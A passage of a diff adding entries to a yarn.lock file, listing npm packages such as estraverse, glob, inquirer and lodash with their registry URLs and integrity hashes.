+  integrity sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==
+  dependencies:
+    estraverse "^5.2.0"
+
+estraverse@^4.1.1:
+  version "4.2.0"
+  resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-4.2.0.tgz#0dee3fed31fcd469618ce7342099fc1afa0bdb13"
+  integrity sha1-De4/7TH81GlhjOc0IJn8GvoL2xM=
+
+estraverse@^5.1.0, estraverse@^5.2.0:
+  version "5.3.0"
+  resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-5.3.0.tgz#2eea5290702f26ab8fe5370370ff86c965d21123"
+  integrity sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==
+
+esutils@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.2.tgz#0abf4f1caa5bcb1f7a9d8acc6dea4faaa04bac9b"
+  integrity sha1-Cr9PHKpbyx96nYrMbepPqqBLrJs=
+
+external-editor@^3.0.3:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/external-editor/-/external-editor-3.1.0.tgz#cb03f740befae03ea4d283caed2741a83f335495"
+  integrity sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==
+  dependencies:
+    chardet "^0.7.0"
+    iconv-lite "^0.4.24"
+    tmp "^0.0.33"
+
+fast-deep-equal@^3.1.1:
+  version "3.1.3"
+  resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
+  integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==
+
+fast-json-stable-stringify@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.0.0.tgz#d5142c0caee6b1189f87d3a76111064f86c8bbf2"
+  integrity sha1-1RQsDK7msRifh9OnYREGT4bIu/I=
+
+fast-levenshtein@~2.0.6:
+  version "2.0.6"
+  resolved "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917"
+  integrity sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==
+
+figures@^3.0.0:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/figures/-/figures-3.2.0.tgz#625c18bd293c604dc4a8ddb2febf0c88341746af"
+  integrity sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==
+  dependencies:
+    escape-string-regexp "^1.0.5"
+
+file-entry-cache@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/file-entry-cache/-/file-entry-cache-5.0.1.tgz#ca0f6efa6dd3d561333fb14515065c2fafdf439c"
+  integrity sha512-bCg29ictuBaKUwwArK4ouCaqDgLZcysCFLmM/Yn/FDoqndh/9vNuQfXRDvTuXKLxfD/JtZQGKFT8MGcJBK644g==
+  dependencies:
+    flat-cache "^2.0.1"
+
+flat-cache@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/flat-cache/-/flat-cache-2.0.1.tgz#5d296d6f04bda44a4630a301413bdbc2ec085ec0"
+  integrity sha512-LoQe6yDuUMDzQAEH8sgmh4Md6oZnc/7PjtwjNFSzveXqSHt6ka9fPBuso7IGf9Rz4uqnSnWiFH2B/zj24a5ReA==
+  dependencies:
+    flatted "^2.0.0"
+    rimraf "2.6.3"
+    write "1.0.3"
+
+flatted@^2.0.0:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/flatted/-/flatted-2.0.2.tgz#4575b21e2bcee7434aa9be662f4b7b5f9c2b5138"
+  integrity sha512-r5wGx7YeOwNWNlCA0wQ86zKyDLMQr+/RB8xy74M4hTphfmjlijTSSXGuH8rnvKZnfT9i+75zmd8jcKdMR4O6jA==
+
+fs.realpath@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
+  integrity sha1-FQStJSMVjKpA20onh8sBQRmU6k8=
+
+functional-red-black-tree@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz#1b0ab3bd553b2a0d6399d29c0e3ea0b252078327"
+  integrity sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g==
+
+glob-parent@^5.0.0:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.2.tgz#869832c58034fe68a4093c17dc15e8340d8401c4"
+  integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==
+  dependencies:
+    is-glob "^4.0.1"
+
+glob@^7.1.3:
+  version "7.1.3"
+  resolved "https://registry.yarnpkg.com/glob/-/glob-7.1.3.tgz#3960832d3f1574108342dafd3a67b332c0969df1"
+  integrity sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==
+  dependencies:
+    fs.realpath "^1.0.0"
+    inflight "^1.0.4"
+    inherits "2"
+    minimatch "^3.0.4"
+    once "^1.3.0"
+    path-is-absolute "^1.0.0"
+
+globals@^12.1.0:
+  version "12.4.0"
+  resolved "https://registry.yarnpkg.com/globals/-/globals-12.4.0.tgz#a18813576a41b00a24a97e7f815918c2e19925f8"
+  integrity sha512-BWICuzzDvDoH54NHKCseDanAhE3CeDorgDL5MT6LMXXj2WCnd9UC2szdk4AWLfjdgNBCXLUanXYcpBBKOSWGwg==
+  dependencies:
+    type-fest "^0.8.1"
+
+has-flag@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
+  integrity sha1-tdRU3CGZriJWmfNGfloH87lVuv0=
+
+has-flag@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
+  integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
+
+iconv-lite@^0.4.24:
+  version "0.4.24"
+  resolved "https://registry.yarnpkg.com/iconv-lite/-/iconv-lite-0.4.24.tgz#2022b4b25fbddc21d2f524974a474aafe733908b"
+  integrity sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==
+  dependencies:
+    safer-buffer ">= 2.1.2 < 3"
+
+ignore@^4.0.6:
+  version "4.0.6"
+  resolved "https://registry.yarnpkg.com/ignore/-/ignore-4.0.6.tgz#750e3db5862087b4737ebac8207ffd1ef27b25fc"
+  integrity sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==
+
+import-fresh@^3.0.0:
+  version "3.3.1"
+  resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.1.tgz#9cecb56503c0ada1f2741dbbd6546e4b13b57ccf"
+  integrity sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==
+  dependencies:
+    parent-module "^1.0.0"
+    resolve-from "^4.0.0"
+
+imurmurhash@^0.1.4:
+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"
+  integrity sha1-khi5srkoojixPcT7a21XbyMUU+o=
+
+inflight@^1.0.4:
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
+  integrity sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=
+  dependencies:
+    once "^1.3.0"
+    wrappy "1"
+
+inherits@2:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.3.tgz#633c2c83e3da42a502f52466022480f4208261de"
+  integrity sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=
+
+inquirer@^7.0.0:
+  version "7.3.3"
+  resolved "https://registry.yarnpkg.com/inquirer/-/inquirer-7.3.3.tgz#04d176b2af04afc157a83fd7c100e98ee0aad003"
+  integrity sha512-JG3eIAj5V9CwcGvuOmoo6LB9kbAYT8HXffUl6memuszlwDC/qvFAJw49XJ5NROSFNPxp3iQg1GqkFhaY/CR0IA==
+  dependencies:
+    ansi-escapes "^4.2.1"
+    chalk "^4.1.0"
+    cli-cursor "^3.1.0"
+    cli-width "^3.0.0"
+    external-editor "^3.0.3"
+    figures "^3.0.0"
+    lodash "^4.17.19"
+    mute-stream "0.0.8"
+    run-async "^2.4.0"
+    rxjs "^6.6.0"
+    string-width "^4.1.0"
+    strip-ansi "^6.0.0"
+    through "^2.3.6"
+
+is-extglob@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/is-extglob/-/is-extglob-2.1.1.tgz#a88c02535791f02ed37c76a1b9ea9773c833f8c2"
+  integrity sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==
+
+is-fullwidth-code-point@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz#a3b30a5c4f199183167aaab93beefae3ddfb654f"
+  integrity sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=
+
+is-fullwidth-code-point@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz#f116f8064fe90b3f7844a38997c0b75051269f1d"
+  integrity sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==
+
+is-glob@^4.0.0, is-glob@^4.0.1:
+  version "4.0.3"
+  resolved "https://registry.yarnpkg.com/is-glob/-/is-glob-4.0.3.tgz#64f61e42cbbb2eec2071a9dac0b28ba1e65d5084"
+  integrity sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==
+  dependencies:
+    is-extglob "^2.1.1"
+
+isexe@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
+  integrity sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==
+
+js-tokens@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/js-tokens/-/js-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
+  integrity sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==
+
+js-yaml@^3.13.1:
+  version "3.14.1"
+  resolved "https://registry.yarnpkg.com/js-yaml/-/js-yaml-3.14.1.tgz#dae812fdb3825fa306609a8717383c50c36a0537"
+  integrity sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==
+  dependencies:
+    argparse "^1.0.7"
+    esprima "^4.0.0"
+
+json-schema-traverse@^0.4.1:
+  version "0.4.1"
+  resolved "https://registry.yarnpkg.com/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660"
+  integrity sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==
+
+json-stable-stringify-without-jsonify@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz#9db7b59496ad3f3cfef30a75142d2d930ad72651"
+  integrity sha512-Bdboy+l7tA3OGW6FjyFHWkP5LuByj1Tk33Ljyq0axyzdk9//JSi2u3fP1QSmd1KNwq6VOKYGlAu87CisVir6Pw==
+
+levn@^0.3.0, levn@~0.3.0:
+  version "0.3.0"
+  resolved "https://registry.yarnpkg.com/levn/-/levn-0.3.0.tgz#3b09924edf9f083c0490fdd4c0bc4421e04764ee"
+  integrity sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=
+  dependencies:
+    prelude-ls "~1.1.2"
+    type-check "~0.3.2"
+
+lodash@^4.17.14, lodash@^4.17.19:
+  version "4.17.21"
+  resolved "https://registry.yarnpkg.com/lodash/-/lodash-4.17.21.tgz#679591c564c3bffaae8454cf0b3df370c3d6911c"
+  integrity sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==
+
+mimic-fn@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-2.1.0.tgz#7ed2c2ccccaf84d3ffcb7a69b57711fc2083401b"
+  integrity sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==
+
+minimatch@^3.0.4:
+  version "3.0.4"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.4.tgz#5166e286457f03306064be5497e8dbb0c3d32083"
+  integrity sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA==
+  dependencies:
+    brace-expansion "^1.1.7"
+
+minimist@0.0.8:
+  version "0.0.8"
+  resolved "https://registry.yarnpkg.com/minimist/-/minimist-0.0.8.tgz#857fcabfc3397d2625b8228262e86aa7a011b05d"
+  integrity sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=
+
+mkdirp@^0.5.1:
+  version "0.5.1"
+  resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.1.tgz#30057438eac6cf7f8c4767f38648d6697d75c903"
+  integrity sha1-MAV0OOrGz3+MR2fzhkjWaX11yQM=
+  dependencies:
+    minimist "0.0.8"
+
+ms@^2.1.3:
+  version "2.1.3"
+  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
+  integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
+
+mute-stream@0.0.8:
+  version "0.0.8"
+  resolved "https://registry.yarnpkg.com/mute-stream/-/mute-stream-0.0.8.tgz#1630c42b2251ff81e2a283de96a5497ea92e5e0d"
+  integrity sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==
+
+natural-compare@^1.4.0:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/natural-compare/-/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7"
+  integrity sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=
+
+nice-try@^1.0.4:
+  version "1.0.5"
+  resolved "https://registry.yarnpkg.com/nice-try/-/nice-try-1.0.5.tgz#a3378a7696ce7d223e88fc9b764bd7ef1089e366"
+  integrity sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ==
+
+once@^1.3.0:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
+  integrity sha1-WDsap3WWHUsROsF9nFC6753Xa9E=
+  dependencies:
+    wrappy "1"
+
+onetime@^5.1.0:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/onetime/-/onetime-5.1.2.tgz#d0e96ebb56b07476df1dd9c4806e5237985ca45e"
+  integrity sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==
+  dependencies:
+    mimic-fn "^2.1.0"
+
+optionator@^0.8.3:
+  version "0.8.3"
+  resolved "https://registry.yarnpkg.com/optionator/-/optionator-0.8.3.tgz#84fa1d036fe9d3c7e21d99884b601167ec8fb495"
+  integrity sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==
+  dependencies:
+    deep-is "~0.1.3"
+    fast-levenshtein "~2.0.6"
+    levn "~0.3.0"
+    prelude-ls "~1.1.2"
+    type-check "~0.3.2"
+    word-wrap "~1.2.3"
+
+os-tmpdir@~1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/os-tmpdir/-/os-tmpdir-1.0.2.tgz#bbe67406c79aa85c5cfec766fe5734555dfa1274"
+  integrity sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=
+
+parent-module@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/parent-module/-/parent-module-1.0.1.tgz#691d2709e78c79fae3a156622452d00762caaaa2"
+  integrity sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==
+  dependencies:
+    callsites "^3.0.0"
+
+path-is-absolute@^1.0.0:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
+  integrity sha1-F0uSaHNVNP+8es5r9TpanhtcX18=
+
+path-key@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/path-key/-/path-key-2.0.1.tgz#411cadb574c5a140d3a4b1910d40d80cc9f40b40"
+  integrity sha512-fEHGKCSmUSDPv4uoj8AlD+joPlq3peND+HRYyxFz4KPw4z926S/b8rIuFs2FYJg3BwsxJf6A9/3eIdLaYC+9Dw==
+
+picocolors@^1.0.0:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/picocolors/-/picocolors-1.1.1.tgz#3d321af3eab939b083c8f929a1d12cda81c26b6b"
+  integrity sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==
+
+prelude-ls@~1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/prelude-ls/-/prelude-ls-1.1.2.tgz#21932a549f5e52ffd9a827f570e04be62a97da54"
+  integrity sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=
+
+progress@^2.0.0:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/progress/-/progress-2.0.3.tgz#7e8cf8d8f5b8f239c1bc68beb4eb78567d572ef8"
+  integrity sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==
+
+punycode@^2.1.0:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/punycode/-/punycode-2.1.1.tgz#b58b010ac40c22c5657616c8d2c2c02c7bf479ec"
+  integrity sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==
+
+regexpp@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/regexpp/-/regexpp-2.0.1.tgz#8d19d31cf632482b589049f8281f93dbcba4d07f"
+  integrity sha512-lv0M6+TkDVniA3aD1Eg0DVpfU/booSu7Eev3TDO/mZKHBfVjgCGTV4t4buppESEYDtkArYFOxTJWv6S5C+iaNw==
+
+resolve-from@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/resolve-from/-/resolve-from-4.0.0.tgz#4abcd852ad32dd7baabfe9b40e00a36db5f392e6"
+  integrity sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==
+
+restore-cursor@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/restore-cursor/-/restore-cursor-3.1.0.tgz#39f67c54b3a7a58cea5236d95cf0034239631f7e"
+  integrity sha512-l+sSefzHpj5qimhFSE5a8nufZYAM3sBSVMAPtYkmC+4EH2anSGaEMXSD0izRQbu9nfyQ9y5JrVmp7E8oZrUjvA==
+  dependencies:
+    onetime "^5.1.0"
+    signal-exit "^3.0.2"
+
+rimraf@2.6.3:
+  version "2.6.3"
+  resolved "https://registry.yarnpkg.com/rimraf/-/rimraf-2.6.3.tgz#b2d104fe0d8fb27cf9e0a1cda8262dd3833c6cab"
+  integrity sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==
+  dependencies:
+    glob "^7.1.3"
+
+run-async@^2.4.0:
+  version "2.4.1"
+  resolved "https://registry.yarnpkg.com/run-async/-/run-async-2.4.1.tgz#8440eccf99ea3e70bd409d49aab88e10c189a455"
+  integrity sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==
+
+rxjs@^6.6.0:
+  version "6.6.7"
+  resolved "https://registry.yarnpkg.com/rxjs/-/rxjs-6.6.7.tgz#90ac018acabf491bf65044235d5863c4dab804c9"
+  integrity sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==
+  dependencies:
+    tslib "^1.9.0"
+
+"safer-buffer@>= 2.1.2 < 3":
+  version "2.1.2"
+  resolved "https://registry.yarnpkg.com/safer-buffer/-/safer-buffer-2.1.2.tgz#44fa161b0187b9549dd84bb91802f9bd8385cd6a"
+  integrity sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==
+
+semver@^5.5.0:
+  version "5.7.2"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-5.7.2.tgz#48d55db737c3287cd4835e17fa13feace1c41ef8"
+  integrity sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==
+
+semver@^6.1.2:
+  version "6.3.1"
+  resolved "https://registry.yarnpkg.com/semver/-/semver-6.3.1.tgz#556d2ef8689146e46dcea4bfdd095f3434dffcb4"
+  integrity sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==
+
+shebang-command@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/shebang-command/-/shebang-command-1.2.0.tgz#44aac65b695b03398968c39f363fee5deafdf1ea"
+  integrity sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==
+  dependencies:
+    shebang-regex "^1.0.0"
+
+shebang-regex@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/shebang-regex/-/shebang-regex-1.0.0.tgz#da42f49740c0b42db2ca9728571cb190c98efea3"
+  integrity sha512-wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ==
+
+signal-exit@^3.0.2:
+  version "3.0.2"
+  resolved "https://registry.yarnpkg.com/signal-exit/-/signal-exit-3.0.2.tgz#b5fdc08f1287ea1178628e415e25132b73646c6d"
+  integrity sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=
+
+slice-ansi@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/slice-ansi/-/slice-ansi-2.1.0.tgz#cacd7693461a637a5788d92a7dd4fba068e81636"
+  integrity sha512-Qu+VC3EwYLldKa1fCxuuvULvSJOKEgk9pi8dZeCVK7TqBfUNTH4sFkk4joj8afVSfAYgJoSOetjx9QWOJ5mYoQ==
+  dependencies:
+    ansi-styles "^3.2.0"
+    astral-regex "^1.0.0"
+    is-fullwidth-code-point "^2.0.0"
+
+sprintf-js@~1.0.2:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/sprintf-js/-/sprintf-js-1.0.3.tgz#04e6926f662895354f3dd015203633b857297e2c"
+  integrity sha1-BOaSb2YolTVPPdAVIDYzuFcpfiw=
+
+string-width@^3.0.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/string-width/-/string-width-3.1.0.tgz#22767be21b62af1081574306f69ac51b62203961"
+  integrity sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==
+  dependencies:
+    emoji-regex "^7.0.1"
+    is-fullwidth-code-point "^2.0.0"
+    strip-ansi "^5.1.0"
+
+string-width@^4.1.0:
+  version "4.2.3"
+  resolved "https://registry.yarnpkg.com/string-width/-/string-width-4.2.3.tgz#269c7117d27b05ad2e536830a8ec895ef9c6d010"
+  integrity sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==
+  dependencies:
+    emoji-regex "^8.0.0"
+    is-fullwidth-code-point "^3.0.0"
+    strip-ansi "^6.0.1"
+
+strip-ansi@^5.1.0, strip-ansi@^5.2.0:
+  version "5.2.0"
+  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-5.2.0.tgz#8c9a536feb6afc962bdfa5b104a5091c1ad9c0ae"
+  integrity sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==
+  dependencies:
+    ansi-regex "^4.1.0"
+
+strip-ansi@^6.0.0, strip-ansi@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.1.tgz#9e26c63d30f53443e9489495b2105d37b67a85d9"
+  integrity sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==
+  dependencies:
+    ansi-regex "^5.0.1"
+
+strip-json-comments@^3.0.1:
+  version "3.1.1"
+  resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz#31f1281b3832630434831c310c01cccda8cbe006"
+  integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig==
+
+supports-color@^5.3.0:
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f"
+  integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==
+  dependencies:
+    has-flag "^3.0.0"
+
+supports-color@^7.1.0:
+  version "7.2.0"
+  resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da"
